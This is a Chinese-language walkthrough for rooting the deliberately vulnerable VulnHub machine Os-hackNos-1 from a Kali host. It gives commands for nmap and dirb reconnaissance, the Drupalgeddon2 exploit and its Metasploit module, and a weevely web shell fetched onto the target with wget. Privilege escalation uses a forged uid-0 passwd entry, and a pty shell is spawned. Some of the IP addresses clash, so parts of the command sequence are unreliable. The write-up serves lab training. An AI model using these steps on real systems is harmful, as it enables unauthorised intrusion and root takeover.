实验主机:Os-hackerNos靶机一台/Kali linux攻击机一台
实验网络:桥接网络
实验目标:获取靶机的Root权限
难易程度:简单
前期工作:
1:下载Virtualbox虚拟化软件
下载地址:https://www.virtualbox.org/wiki/Downloads
2:下载目标靶机并导入Virtualbox
下载地址:hackNos: Os-hackNos ~ VulnHub
将Os-hackNos-1.ova下载下来之后打开Virtualbox按下快捷键Ctrl+i将其导入
导入之后需要修改几个地方:
3:安装并配置好自己的Kali linux主机,这里我用的版本是最新版201904
Target:信息收集
思路:既然是要对目标主机进行入侵,就要找出目标主机的真实性IP地址的所开放的端口,因为服务器或者个人主机对外提供服务都是通过端口来进行数据之间的通行;
注意:一个服务可以占用多个端口,但是一个端口只能被一个服务占用
首先确定我们是谁?
扫描我们的目标在哪里???
扫描命令 nmap -sP 192.168.1.0/24 这里的ip可以换成别的
这里有很多台机器,这就是为什么要记住MAC地址
想必,已经猜出来那个是我们的目标了吧!!!
那么接下来我们需要确定目标主机开起了什么服务???
nmap -v -A 目标ip地址 -v 显示扫描过程详细信息
或者nmap -sV 目标ip地址 -O
22端口用于SSH服务,前身是RSH,之后因为传输的数据被加密所以改成了SSH(只需要将私钥放到本地就可以免密码登录),针对于这个端口的最好办法就是暴力破解,但是太费时间不是首要的攻击方式,后面拿不下的时候可以先用暴力破解
80端口用于HTTP服务,还有一个安全的HTTPS,接下来我们就要转到WEB渗透才是目前最好的选择
WEB信息收集:
首先要去目标网站浏览一番,发现这好像是个新建立的站点,但也不确定,毕竟要知道椰树的能力是强大的,但这里我们用dirb这款kali中的工具
dirb http://172.16.1.16/
敏感信息收集发现http://192.168.1.16/drupal/themes/seven/下的Seven.info存在drupal版本信息
这个才是我们今天的主角,整个服务器的安全短板就在于此
我们先从github找下关于这个drupal cms的POC和EXP
下载地址:https://github.com/dreadlocked/Drupalgeddon2
接下来我们就需要下载这个脚本并运行拿到网站的WEBshell
Target:获取目标网站的WEBshell
git clone https://github.com/dreadlocked/Drupalgeddon2.git
命令:gem install highline
在下载的目录下输入:
./drupalgeddon2.rb http://172.16.1.16/drupa
此时,我们已经拿到一个shell,然而我们的权限太小,需要提权
Target:权限维持
拿到shell第一步:权限维持,我们需要kali中自带网站管理工具来做
在我们的kali系统中输入 weevely generate 密码 ./名称.php
我们现在本地做个测试,看看能否连接上,本地不行的话就直接放入目标机器
wget http://172.16.1.16/666.php 将创建好的脚本下载到目标机器
这样我们就可以在我们的kali终端进行连接
weevely http://172.16.1.16/drupal/666.php chong 最后的参数为密码
Target:提权
Base64加密—>解密:
在解密:
解密网站:
Brainfuck Language - Online Decoder, Translator, Interpreter
如果不出意外的话就是系统用户账号密码了
没办法在shell中,看来必须在msfshell终端中才能切换用户身份了
Root用户的家目录没法进去,但是存储用户密码文件却能被访问
这里我们不能直接通过webshell修改,只能想办法修改掉passwd文件,我们先制作一个具有root权限的用户,即为uid和gid都为0,并且按照passwd格式添加到文件中,使其保存,我们可以通过小马的file_download功能下载passwd文件,并在本地修改回传到靶机上。
将passwd文件下载到我们kali本地
file_download passwd /root/passwd
openssl passwd -1 -salt salt chong
将得到的密码添加进去
在此发现Wget具有SUID权限,可以进行SUID提权,具体详见课程体系中的SUID提权内容
再到我们获取的虚拟shell中使用 wget将我们修改过得passwd文件下载到目标机器中并覆盖原文件
wget http://172.16.1.5:8080/passwd -O passwd
此刻我们只需要一个与其交互的shell即可大功告成!!!
use exploit/unix.webapp/drupal_drupalgeddon2
use exploit/unix.webapp/drupal_drupalgeddon2
set rhosts 192.168.1.10 这里的ip为目标机器ip
set targeturi /drupal
run或者exploit
然后在下面输入 shell
然后在当前界面下输入
python3 -c 'import pty; pty.spawn("/bin/bash")'
之后切换用户 su chong
密码 chong
进入/root
打开root.txt并截图完成。。。。。。